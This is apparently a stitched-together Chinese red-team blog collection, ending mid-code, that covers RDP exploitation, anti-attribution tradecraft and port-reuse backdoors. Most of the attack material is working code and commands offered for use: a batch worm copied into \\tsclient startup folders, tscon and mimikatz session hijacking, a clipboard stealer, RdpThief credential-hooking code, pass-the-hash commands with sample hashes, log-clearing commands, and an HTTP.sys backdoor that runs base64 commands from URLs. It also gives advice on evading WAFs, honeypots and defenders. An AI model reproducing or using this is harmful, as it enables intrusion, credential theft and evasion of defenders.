"06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9", "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t", "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\", "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".", "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>", "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>", "44":"<F11>","45":"<F12>"} shiftKeys = { "04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")", "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>", "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"", "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>", "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>", "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"} output = [] keys = open('usb2.txt','r') for line in keys: try: if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00": continue if line[6:8] in normalKeys.keys(): output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2'] else: output += ['[unknown]'] except: pass keys.close() flag=0 print("".join(output)) for i in range(len(output)): try: a=output.index('<DEL>') del output[a] del output[a-1] except: pass for i in range(len(output)): try: if output[i]=="<CAP>": flag+=1 output.pop(i) if flag==2: flag=0 if flag!=0: output[i]=output[i].upper() except: pass print ('output :' + "".join(output)) 发现是身份证号,缺失校验位,计算得出校验位为3,md5后即为flag
-
rdp利用技巧总结
近期在项目中管理员在rdp挂载之后搞掉了管理员,想着有时间就整理下针对rdp的利用方法。 针对挂盘的利用方法复制文件这个不多说,可以根据的不同的挂盘来决定是拖文件还是放启动项。有一些自动文件监控和拷贝的应用,如:https://github.com/cnucky/DarkGuardianDarkGuardian是一款用于监控RDP登录后TSCLIENT(挂盘)的工具,工具后台运行时可自动获取挂盘的文件列表,下载指定文件,拷贝木马文件到挂载硬盘的启动项等功能 RDPInception这种方法相对鸡肋一点,原理就是利用bat脚本放到server启动项/winlogon执行脚本处,等待管理员挂盘后重启执行命令。 @echo off echo Updating Windows ... @echo off timeout 1 >nul 2>&1 mkdir \\tsclient\c\temp >nul 2>&1 mkdir C:\temp >nul 2>&1 copy run.bat C:\temp >nul 2>&1 copy run.bat \\tsclient\c\temp >nul 2>&1 del /q %TEMP%\temp_00.txt >nul 2>&1 set dirs=dir /a:d /b /s C:\users\*Startup* set dirs2=dir /a:d /b /s \\tsclient\c\users\*startup* echo|%dirs%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt" echo|%dirs2%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt" for /F "tokens=*" %%a in (%TEMP%\temp_00.txt) DO ( copy run.bat "%%a" >nul 2>&1 copy C:\temp\run.bat "%%a" >nul 2>&1 copy \\tsclient\c\temp\run.bat "%%a" >nul 2>&1 ) del /q %TEMP%\temp_00.txt >nul 2>&1 REM if "WINDOMAIN"="%USERDOMAIN%"( cmd.exe /c calc.exe )RDP Session Hijacking实用的命令是tscon,正常使用是通过密码切换到不同的session。但是在system下是可以不用密码切换不同的用户session。将某一session切换到不同的会话。 这个技巧主要是针对win7及以上环境,整体应用场景为:在2012以上版本windows默认不保存明文的情况下可以切换到目标主机,或者在域中当前用户是本地用户,可以切换到域用户权限。 先在本地使用psexec提到system。(这里可以自己手动创建系统服务来实现。),还可以配合shift/Utilman后门来进行无密码登录桌面。 1、psexec C:\Windows\system32>quser 用户名 会话名 ID 状态 空闲时间 登录时间 >administrator rdp-tcp#1 1 运行中 . 2020/12/14 11:14 test rdp-tcp#0 2 运行中 1:02 2020/12/14 13:04 C:\Windows\system32>tscon 2 rdp-tcp#1 2、服务项quser sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#1" net start sesshijack 3、mimikatzprivilege::debug ts::sessions toekn::elevate ts::remote /id:2 4、shift无密码劫持在webshell中com劫持shift后门 rdpclip.exe利用RDP服务可以复制粘贴文本和文件。主要是通过这个rdpclip.exe进程来实现。想要了解具体复制中的操作可以通过ClipSpy来查看剪切板的变化。 在ATT&CK中看到很多披露的利用手法是获取copy的文本内容,还有去年https://research.checkpoint.com/2019/reverse-rdp-attack-code-execution-on-rdp-clients/中给出的一个思路HOOK RDPClip.exe 1、剪切板监控每隔10秒钟,读取一次剪切板内容保存本地。 #include <exception> #include <iostream> #include <ostream> #include <stdexcept> #include <string> #include <windows.h> #include <fstream> using namespace std; class RaiiClipboard { public: RaiiClipboard() { if (!OpenClipboard(NULL)) throw runtime_error("Can't open clipboard."); // ... or define some custom exception class for clipboard errors. } ~RaiiClipboard() { CloseClipboard(); } // Ban copy private: RaiiClipboard(const RaiiClipboard&); RaiiClipboard& operator=(const RaiiClipboard&); }; class RaiiTextGlobalLock { public: explicit RaiiTextGlobalLock(HANDLE hData) : m_hData(hData) { m_psz = static_cast<const char*>(GlobalLock(m_hData)); if (!m_psz) throw runtime_error("Can't acquire lock on clipboard text."); } ~RaiiTextGlobalLock() { GlobalUnlock(m_hData); } const char* Get() const { return m_psz; } private: HANDLE m_hData; const char* m_psz; // Ban copy RaiiTextGlobalLock(const RaiiTextGlobalLock&); RaiiTextGlobalLock& operator=(const RaiiTextGlobalLock&); }; string GetClipboardText() { RaiiClipboard clipboard; HANDLE hData = GetClipboardData(CF_TEXT); if (hData == NULL) { return ""; //throw runtime_error("Can't get clipboard text."); } RaiiTextGlobalLock textGlobalLock(hData); string text(textGlobalLock.Get()); return text; } void SaveData(string data) { ofstream out("info.txt", ios::app); if (out.is_open()) { out << data + "\n"; out << "------------------------------\n"; out.close(); } } int main() { static const int kExitOk = 0; static const int kExitError = 1; string data1 = ""; string data2 = ""; try { while (true) { data2 = GetClipboardText(); if (data1 != data2) { cout << data2 << endl; SaveData(data2); } else { cout << "waiting for clip acting..." << endl; Sleep(300000); } data1 = data2; Sleep(10000); } return kExitOk; } catch (const exception& e) { cerr << "*** ERROR: " << e.what() << endl; return kExitError; } } 根据Cheesy Rumbles文章中介绍的。还可以使用Get-ClipboardContents.ps1来获取剪切板内容,而且可以跨多个rdp界面获取到。 3924 888 rdpclip.exe x64 3 DMZ2\rasta inject 3924 x64 smb powershell-import D:\Tools\Get-ClipboardContents.ps1 powershell Get-ClipboardContents -PollInterval 1 2、反打rdp如果在没有挂盘的情况下怎么反向给管理员传文件,网上找了下有两种手法。 一、是Hook GetClipboardData函数和DragQueryFileW函数,但是在网上冲浪找到的相关信息比较少,只找到https://github.com/qianshuidewajueji/CVE-2019-0887和https://paper.seebug.org/1074/中实现类似,调试了两天终于在各位大哥帮助下成功了。 二、后来想到前面可以获取剪切板内容,那我修改他复制的文件也可以。 CVE-2019-0887李永得和paper中给出的思路相同,由于使用了wcsrchr(&szFile, '\')来接收地址,微软又支持../这种路径,漏洞产生的原因和winrar那个路径穿越差不多。 使用detours库hook掉GetClipboardData函数和DragQueryFileW函数,添加文件数据和路径最终实现效果: 替换剪切板文件#include <iostream> #include <windows.h> #include <shlobj.h> int CopyFileToClipboard(char szFileName[]); int main() { CopyFileToClipboard("C:\\windows\\system32\\cmd.exe"); return 0; } int CopyFileToClipboard(char szFileName[]) { UINT uDropEffect; HGLOBAL hGblEffect; LPDWORD lpdDropEffect; DROPFILES stDrop; HGLOBAL hGblFiles; LPSTR lpData; uDropEffect = RegisterClipboardFormat("Preferred DropEffect"); hGblEffect = GlobalAlloc(GMEM_ZEROINIT | GMEM_MOVEABLE | GMEM_DDESHARE, sizeof(DWORD)); lpdDropEffect = (LPDWORD)GlobalLock(hGblEffect); *lpdDropEffect = DROPEFFECT_COPY;//复制; 剪贴则du用DROPEFFECT_MOVE GlobalUnlock(hGblEffect); stDrop.pFiles = sizeof(DROPFILES); stDrop.pt.x = 0; stDrop.pt.y = 0; stDrop.fNC = FALSE; stDrop.fWide = FALSE; hGblFiles = GlobalAlloc(GMEM_ZEROINIT | GMEM_MOVEABLE | GMEM_DDESHARE, sizeof(DROPFILES) + strlen(szFileName) + 2); lpData = (LPSTR)GlobalLock(hGblFiles); memcpy(lpData, &stDrop, sizeof(DROPFILES)); strcpy(lpData + sizeof(DROPFILES), szFileName); GlobalUnlock(hGblFiles); OpenClipboard(NULL); EmptyClipboard(); SetClipboardData(CF_HDROP, hGblFiles); SetClipboardData(uDropEffect, hGblEffect); CloseClipboard(); return 1; }这样在管理员从服务器复制任意文件下载到本机后文件就会被替换成cmd.exe .NET 反序列化看到`https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/december/beware-of-deserialisation-in-.net-methods-and-classes-code-execution-via-paste/`中介绍的一种思路。(万万没想到还有这种玩法) 利用`https://github.com/pwntester/ysoserial.net` 利用过程是剪切板粘贴时替换成序列化后代码,在某一些应用粘贴的时候会触发反序列化操作,而且如果目标.NET应用程序在用更高的权限运行时候也可以当作权限提升来利用。(当前用户没有uac帐号密码,但是管理员之前uac开启过某个.NET应用。)ysoserial.exe -p Clipboard -c calc -F System.String 已测试程序: PowerShell ISE VS 画图工具 任何利用TextBox,PasswordBox或RichTextBox的WPF应用程序也会受到影响。RDP pthWindows上用户hash 登录 MstscServer需要开启 Restricted Admin mode,在Windows 8.1Windows Server 2012 R2中默认开启,同时如果Win 7 和Windows Server 2008 R安装了2871997、2973351补丁也支持;Client需要支持 Restricted Admin mode 开启Restricted Admin mode REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f开启后使用:mstsc.exe /restrictedadmin 进行登录不需要密码,将使用当前用户的hash进行验证 Mimikatzmimikatz.exe privilege::debug sekurlsa::pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b "/run:mstsc.exe /restrictedadmin" Linuxapt-get install freerdp-x11 # 安装支持 /pth 参数的版本 xfreerdp /u:administrator /p:test123! /v:192.168.62.136 /cert-ignore # 使用明文的登录 xfreerdp /u:administrator /pth:d25ecd13fddbb542d2e16da4f9e0333d /v:192.168.62.136 /cert-ignore # 使用hash登录RdpThief这种利用方法的原理是hook mstsc获取到管理员登录过程中的帐号和密码。 这个思路可以配合之前的那个反打管理员,在利用dll中可以加个发邮件的功能。这样在上线/通过收到的邮件能够获取到其他内网/外网服务器的帐号密码。 CredReadW/SspiPrepareForCredRead(目标IP) CredIsMarshaledCredentialW(用户名) CryptProtectMemory(密码) 找到函数这样利用detours框架进行Hook就特别方便 利用代码:https://github.com/0x09AL/RdpThief 看了遍他的代码,搜了搜资料想要自己实现并优化下下。 Hook代码: DetourRestoreAfterWith(); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)OriginalCryptProtectMemory, _CryptProtectMemory); DetourAttach(&(PVOID&)OriginalCredIsMarshaledCredentialW, _CredIsMarshaledCredentialW); DetourAttach(&(PVOID&)OriginalSspiPrepareForCredRead, _SspiPrepareForCredRead); DetourTransactionCommit();定义Api static SECURITY_STATUS(WINAPI * OriginalSspiPrepareForCredRead)(PSEC_WINNT_AUTH_IDENTITY_OPAQUE AuthIdentity, PCWSTR pszTargetName, PULONG pCredmanCredentialType, PCWSTR *ppszCredmanTargetName) = SspiPrepareForCredRead; static DPAPI_IMP BOOL(WINAPI * OriginalCryptProtectMemory)(LPVOID pDataIn,DWORD cbDataIn, DWORD dwFlags) = CryptProtectMemory; static BOOL(WINAPI * OriginalCredIsMarshaledCredentialW)(LPCWSTR MarshaledCredential) = CredIsMarshaledCredentialW;Hook代码和写入 VOID WriteCredentials() { const DWORD cbBuffer = 1024; TCHAR TempFolder[MAX_PATH]; GetEnvironmentVariable(L"TEMP", TempFolder, MAX_PATH); TCHAR Path[MAX_PATH]; StringCbPrintf(Path, MAX_PATH, L"%s\\data.bin", TempFolder); HANDLE hFile = CreateFile(Path, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WCHAR DataBuffer[cbBuffer]; memset(DataBuffer, 0x00, cbBuffer); DWORD dwBytesWritten = 0; StringCbPrintf(DataBuffer, cbBuffer, L"Server: %s\nUsername: %s\nPassword: %s\n\n",lpServer, lpUsername, lpTempPassword); WriteFile(hFile, DataBuffer, wcslen(DataBuffer)*2, &dwBytesWritten, NULL); CloseHandle(hFile); } SECURITY_STATUS _SspiPrepareForCredRead(PSEC_WINNT_AUTH_IDENTITY_OPAQUE AuthIdentity, PCWSTR pszTargetName, PULONG pCredmanCredentialType, PCWSTR *ppszCredmanTargetName) { lpServer = pszTargetName; return OriginalSspiPrepareForCredRead(AuthIdentity, pszTargetName, pCredmanCredentialType, ppszCredmanTargetName); } BOOL _CredIsMarshaledCredentialW(LPCWSTR MarshaledCredential) { lpUsername = MarshaledCredential; if (wcslen(lpUsername) > 0) { WriteCredentials(); } return OriginalCredIsMarshaledCredentialW(MarshaledCredential); } BOOL _CryptProtectMemory(LPVOID pDataIn, DWORD cbDataIn, DWORD dwFlags) { DWORD cbPass = 0; LPVOID lpPassword; int *ptr = (int *)pDataIn; LPVOID lpPasswordAddress = ptr+0x1; memcpy_s(&cbPass, 4, pDataIn, 4); //When the password is empty it only counts the NULL byte. if (cbPass > 0x2) { SIZE_T written = 0; lpPassword = VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(GetCurrentProcess(), lpPassword, lpPasswordAddress,cbPass,&written); lpTempPassword = (LPCWSTR)lpPassword; } return OriginalCryptProtectMemory(pDataIn, cbDataIn, dwFlags); }这里需要注意上面CryptProtectMemory函数中判断前4位是否为NULL,(cbPass大于2),这样能够过滤掉一些垃圾字符。 还可以自己加一个邮件发送功能,这样就可以实现收到结果。 实现效果: 测试环境win8.1/win2008/win7 Seth中间人攻击中间人攻击,缺点是需要的支持库有点多。所以实战中有的时候比较鸡肋,定向的话可能会好一点。 sudo ./seth.sh eth0 172.16.142.183 172.16.142.136 172.16.142.249 //网卡 本机ip 登录来源ip 登录目标ip //这里需要修改下tsl的版本 sudo vim /etc/ssl/openssl.cnf 实现效果: RDP代理通过rdp实现tcp代理主要原理是通过文件共享功能来写入转存数据,XPN之前有介绍过cs的利用C2脚本,通过新建命名管道来实现存取数据。 这里我使用rdp2tcp来实现。 https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E4%BD%BF%E7%94%A8%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E5%8D%8F%E8%AE%AE%E5%BB%BA%E7%AB%8B%E9%80%9A%E9%81%93/ 整个安装使用流程就是看得三好学生的文章。 xfreerdp /v:172.16.142.136:3389 /u:fbiwarning /p:123qweasd -cert-ignore /rdp2tcp:/root/rdp2tcp/client/rdp2tcp rdp2tcp64.exe //上传到目标机器并运行 python rdp2tcp.py add socks5 0.0.0.0 1999 sed -i '$d' /etc/proxychains4.conf echo "socks5 127.0.0.1 1999" >> /etc/proxychains4.conf proxychains xfreerdp /v:172.16.142.249:3389 /u:fbiwarning /p:123qweasdzxc最终效果(左下登录来源是右下代理机器。) 清除RDP连接记录@echo off reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cd %userprofile%\documents\ attrib Default.rdp -s -h del Default.rdphttps://github.com/SySS-Research/Seth https://github.com/pwntester/ysoserial.net https://research.checkpoint.com/2019/reverse-rdp-attack-code-execution-on-rdp-clients/ https://paper.seebug.org/1074/ https://ijustwannared.team/2019/11/07/c2-over-rdp-virtual-channels/ https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E4%BD%BF%E7%94%A8%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E5%8D%8F%E8%AE%AE%E5%BB%BA%E7%AB%8B%E9%80%9A%E9%81%93/ http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/ http://t3ngyu.leanote.com/post/LM-RDP
-
红队隐藏技巧
近期因为都懂的原因做了回蓝队,还偶尔客串了下和客户对接的角色,根据接触到的各家设备的特点写了一些总结。从红队的视觉下看如何防止被溯源。 ---8sec.cc 1、蜜罐系统浏览器使用注意单独隔离的浏览器 在渗透过程中尽量使用与常用浏览器不同的浏览器,如:Chrome常用,渗透使用firefox。 使用无痕模式 firefox和Chrome都有无痕模式,如果对目标资产不了解的情况下尽量开启无痕模式进行测试。 以上两种方式主要可以避免蜜罐中使用各大网站的Jsonp Callback、XSS等漏洞获取到红队人员的ID和信息。 但是蜜罐中使用的fingerprintjs库可以根据不同IP和不同浏览器的特定标识来判断来源访客是否是同一个人员,所以单独使用无痕模式和不同的浏览器也会导致被蜜罐识别。 反蜜罐插件bypass HoneypotAntiHoneypot - 一个拦截蜜罐XSSI的Chrome扩展 功能截获页面中发起的XSSI请求,通过特征识别阻断可疑的XSSI(Jsonp Callback、XSS等)分析和攫取蜜罐固有特征,识别蜜罐并拦截所有请求判断fingerprintjs库是否存在并提示,判断是否有其他web指纹的相关调用判断是否有持久化身份标识的相关调用判断页面中是否对剪贴板的粘贴进行了取值(待进一步验证)一键清除当前网站的所有浏览器数据功能(包括所有缓存的、存储的)判断页面中是否操作了FileSystem(可以把evercookie写到这里)2、防止反制服务器跳板机 根据各家溯源获取信息量排除蜜罐因素也有一部分的原因是VPS被打,常规被拿下有可能是红队人员对Linux/Windows运维了解不足 如:使用Docker搭建漏洞环境被逃逸。 使用一键环境搭建存在默认程序默认密码(phpmyadmin、BT/pma漏洞 信息泄漏漏洞) nmap的交互执行命令 find的suid位提权等。 服务器安装应用/管理 针对安装不同的应用要有针对性的限制,iptables和远程登录限制登录来源,还有爆破次数。建议安装使用软件如CS不要给777权限,这次是有反制提权案例的。 虚拟机运行软件 在之前广为流传的反制案例中,有蓝队VPN安装包中捆绑马/白加黑利用造成红队人员上线的情况。所以如果针对金融(IE控件),VPN等目标下载/安装尽量在虚拟机中操作,每次不同工作/项目后回滚下镜像,在虚拟机网络代理配置完成得情况下打好备份。 3、信息隐藏手机号隐藏 阿里小号现在已经禁止注册和申请了,估计过一阵子也会关闭,常规渗透中可以选择购买短信卡,和使用接码平台,通话使用网络电话或者买一张实名卡。最好能够实现和日常生活物理隔离。 支付宝 支付宝之前出过问题,如果开启网商银行可以直接看到转账对象三个字的姓名,如果是两个字的姓名可以直接利用支付宝转账功能来结合其他信息猜测姓名。 微信 微信也是泄漏id的一些地方,关闭手机搜索,微信群加好友,只开启二维码加好友,只允许查看3天内的朋友圈。让好友尽量备注一个假姓名。如:张xx 李xx QQ 同微信,关闭空间非好友访问,访问日期限制,照片限制,照片墙限制,游戏关闭展示。让好友尽量备注一个假姓名。如:张xx 李xx,之前QQ出过这种问题,利用好友之间的备注泄漏出本人的真实姓名。 https://zhuanlan.zhihu.com/p/95525409 qq获取共同好友真实姓名 https://github.com/anntsmart/QQ 虽然已经不能使用,但是不代表没有相关的接口被流出来,比如之前的t.qq.com登录qq就不需要任何安全验证就可以直接登录进去,获得qq的seckey 网络ID隐藏 常用网络ID尽量使用一些常规字符,比如说:裤衩哥。这种新闻人物。 真实姓名隐藏/误导 让好友尽量备注一个假姓名。如:张xx 李xx,之前QQ出过这种问题,利用好友之间的备注泄漏出本人的真实姓名。 因为在社工库中的信息只会越来越多,花钱隐藏纯粹就是当鸵鸟,所以只能在各种地方去隐藏自己的真实信息,比如说外卖/快递使用假姓名+小号。注册身份信息使用网上生成的信息或者你懂的的来源。 4、网络隐藏网络隐藏这个需要着重的去说一下,各种代理方式的区别,在什么情况下适合使用什么。 SS/V2优点 连接流量加密/可混淆,使用kcp的话可以模拟成微信视频流量。 缺点 由于使用Socks5,只能代理tcp流量,icmp/udp无法代理上,而且由于客户端转发性能问题容易导致测漏。 VPN l2tp/pptp优点 传统专线的代理模式,支持各类系统全局代理、使用L2TP需要设置密钥被破解的可能性不高,代理可手动设置路由来判断访问不同地址走不同路由,可以设置0.0.0.0走VPN全协议就走了。搭建简单 openvpn/SoftEtherVPN Linux搭建: https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/README-zh.md 缺点 自身网络不稳定的时候容易后台直接掉了,而且提示非常短,很容易直接就裸奔,建议在路由器限制只允许1723端口外出,这样如果一旦断开直接就无法出网。直到自身连接vpn。国内网络中l2tp的流量都能解密。 sslvpn产品列表: 优点 SSL协议主要是由SSL记录协议和握手协议组成,它们共同为应用访问连接提供认证、加密和防篡改功能。流量可加密。 缺点 SSL vpn仅限于web浏览器的应用,有些协议的带不上。 5、开发应用隐藏开发编译桌面用户 在编译软件的过程中建议在虚拟机中使用administrator用户编译,编译C#/C会存在pdb文件泄漏用户名,这样会导致ID信息泄漏被微步等平台关联到。 PDB文件:每个开发人员都必须知道的 Github/Blog/微信公众号文章 还有从Github/Blog/WX文章中尽量使用另一个id,将搜索结果或者能够获取到的信息集中在之前构造的假信息中。尽量降低由于开放代码导致特征泄漏个人信息的危害。 6、网络设备流量混淆CS流量混淆 使用Malleable-C2混淆CS的流量,配合域前置来隐藏后端IP,更换CS默认的证书。 包填充字节 在查看某些waf设备流量中了解到,由于waf的功能限制导致,针对大包的内容他不会记录大包,如果觉得包会触发规则的话可以在body中先填充一部分垃圾字符,这样真正匹配的内容在硬waf上是无法看到真实执行内容,也可以误导蓝队判断是否是业务。(没有全流量设备) 数据包混淆低危告警 在面对全流量设备中如Aisa/天眼等设备中,如果你的包中存在恶意内容的话,可以填充一些弱口令的特征/明文口令登录等告警覆盖高危告警,这样就会使设备监控人员放松警惕,增加后续溯源攻击漏洞的时间成本。 Host混淆 在针对waf 的测试过程中发现混淆HOST的话可以让waf检测到NAT前地址,如果能够了解到目标内网的一些IP地址可以利用HOST混淆让waf监测人员判断NAT前地址是内网设备的地址,这样也可以引导对方去响应安全的服务器,增加对方的时间成本。 Xff头混淆 通常xff头伪造被用来绕过web登录IP限制,但是在一些复杂内网的情况下安全设备也会使用xff头来判断攻击最外层的攻击ip,然后进行封禁,这样可以在攻击过程中替换,或者自行增加xff头的方式来迷惑对方的监测人员。或者在cdn前加xff,再让cdn自己不断的去叠加xff。在waf中查看了添加xff之后也成功的将攻击ip识别成了127.0.0.1。 流量卡 做一些红队项目中为了防止被溯源,尽量使用流量卡进行渗透最好还是不需要实名的流量卡,有些流量卡会跳城市,这点就很好,包括我现在使用的卡基本上ip判断都是中国,连省都不会出来,这样更谈不上被蓝队根据常用ip地点去进行定位了。 Cobalt strike DNS特征 通常DNS的特征呈现的是规律性的向黑域名发起A记录(如果不启用的话) 这种情况下想要判断出dns特征还是比较费劲的,不过如果想查的话可以再天眼上查DNS-type:1 A记录 : 启用DNS-txt后特征就比较明显了: DNS-Type可以找txt类型的记录,在天眼中搜索dns-type:16,如果有txt记录,伴随大量xxx.16进制.domain这种格式的就可以暂时判断成cs的dns马。但是在3.14版本的cs上线的请求都是经过加密之后,暂时还没看加密key是多少。就还没有解出来。 执行命令的特征是post.xxxxxxx.domain,的A记录解析。
-
端口复用后门总结
WinRM实现端口复用这种攻击方式前提是需要帐号和密码,如果在获得hash的情况下也可以利用evil-winrm来实现hash登录 服务介绍WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。 后门应用在windows2012服务器中,winrm默认启动,开启了5985端口,在2008系统中需要手动开启服务 winrm quickconfig -q启动后防火墙也会放行该端口 设置启用httplistener监听并存 winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80 winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443 修改监听端口为80/443 winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} winrm set winrm/config/Listener?Address=*+Transport=HTTPS @{Port="443"} 本地连接也需要开启WinRM服务,然后设置信任连接的主机, winrm quickconfig -q winrm set winrm/config/Client @{TrustedHosts="*"} winrs -r:http://172.16.142.151:5985 -u:administrator -p:admin123 "whoami" WinRM PTHmac下使用evil-winrm实施pth sudo gem install evil-winrm evil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80测试了下复用后也是可以pth连接的。 HTTP.sys端口复用HTTP.sys介绍这种方法的应用场景是针对IIS,HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys 1 当IIS或者其他的应用使用HTTP Server API去监听请求路径的时候,这些应用需要在HTTP.SYS上面注册url prefix ,关于注册URL的规则,可以参考MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa364698(v=vs.85).aspx 。这是注册的过程。 2 当一个请求到来并被http.sys获取到,它需要分发这个请求给注册当前url对应的应用,这是路由的过程。 劫持程序实现这样我们可以自己写一个注册url功能的exe,然后根据请求访问url来实现后门功能。 注册代码参考msdn和stackoverflow上的代码: https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio https://docs.microsoft.com/zh-cn/windows/win32/http/http-server-sample-application DWORD DoReceiveRequests(IN HANDLE hReqQueue) { ULONG result; HTTP_REQUEST_ID requestId; DWORD bytesRead; PHTTP_REQUEST pRequest; PCHAR pRequestBuffer; ULONG RequestBufferLength; // // Allocate a 2 KB buffer. This size should work for most // requests. The buffer size can be increased if required. Space // is also required for an HTTP_REQUEST structure. // RequestBufferLength = sizeof(HTTP_REQUEST) + 2048; pRequestBuffer = (PCHAR)ALLOC_MEM(RequestBufferLength); if (pRequestBuffer == NULL) { return ERROR_NOT_ENOUGH_MEMORY; } pRequest = (PHTTP_REQUEST)pRequestBuffer; // // Wait for a new request. This is indicated by a NULL // request ID. // HTTP_SET_NULL_ID(&requestId); for (;;) { RtlZeroMemory(pRequest, RequestBufferLength); result = HttpReceiveHttpRequest( hReqQueue, // Req Queue requestId, // Req ID 0, // Flags pRequest, // HTTP request buffer RequestBufferLength,// req buffer length &bytesRead, // bytes received NULL // LPOVERLAPPED ); if (NO_ERROR == result) { DWORD answer = 0; HTTP_SSL_CLIENT_CERT_INFO sslClientCertInfo; ULONG bytesReceived; answer = HttpReceiveClientCertificate(hReqQueue, pRequest->ConnectionId, 0, &sslClientCertInfo, sizeof(HTTP_SSL_CLIENT_CERT_INFO), &bytesReceived, NULL); //注册后等待接收 char* command; char temp[512]; string cmd_temp; strcpy_s(temp, pRequest->pRawUrl); command = temp; command = strstr(command, "cmd="); if (command == NULL) continue; cmd_temp.assign(command); cmd_temp.replace(cmd_temp.find("cmd="), 4, ""); //------------------------------------ uint8* text = (uint8*)cmd_temp.c_str(); uint32 text_len = (uint32)strlen((char*)text); uint8 buffer[1024], buffer2[4096]; uint32 size = base64_decode(text, text_len, buffer); buffer[size] = 0; //------------------------------------ printf("%s", buffer); if (answer != NO_ERROR) { string results; if (cmd_temp.size() == 0) continue; char* tis((char*)buffer); HANDLE hRead, hWrite; CreatePipecmd(tis, hRead, hWrite, results); result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str())); } else { result = SendHttpResponse(hReqQueue, pRequest, 200, "OK", "OK"); } if (result != NO_ERROR) { //break; //if failed to send response, stop listening for further incoming requests } // // Reset the Request ID to handle the next request. // HTTP_SET_NULL_ID(&requestId); } else { // break; } } if (pRequestBuffer) { FREE_MEM(pRequestBuffer); } return result; }HttpReceiveClientCertificate提供客户端为响应服务器的客户端标识请求而颁发的客户端证书字段。 等待访问来源后 截取cmd=后字段内容 char* command; char temp[512]; string cmd_temp; strcpy_s(temp, pRequest->pRawUrl); command = temp; command = strstr(command, "cmd="); if (command == NULL) //防止为空时报错。 continue; cmd_temp.assign(command); cmd_temp.replace(cmd_temp.find("cmd="), 4, "");对传入内容base64解码 uint8* text = (uint8*)cmd_temp.c_str(); uint32 text_len = (uint32)strlen((char*)text); uint8 buffer[1024], buffer2[4096]; uint32 size = base64_decode(text, text_len, buffer); buffer[size] = 0;base64解码函数 #include <stdio.h> #include <string.h> #include <assert.h> typedef unsigned char uint8; typedef unsigned long uint32; static uint8 alphabet_map[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; static uint8 reverse_map[] = { 255, 255, 255, 255, 255, 255, 255, 255, 255, 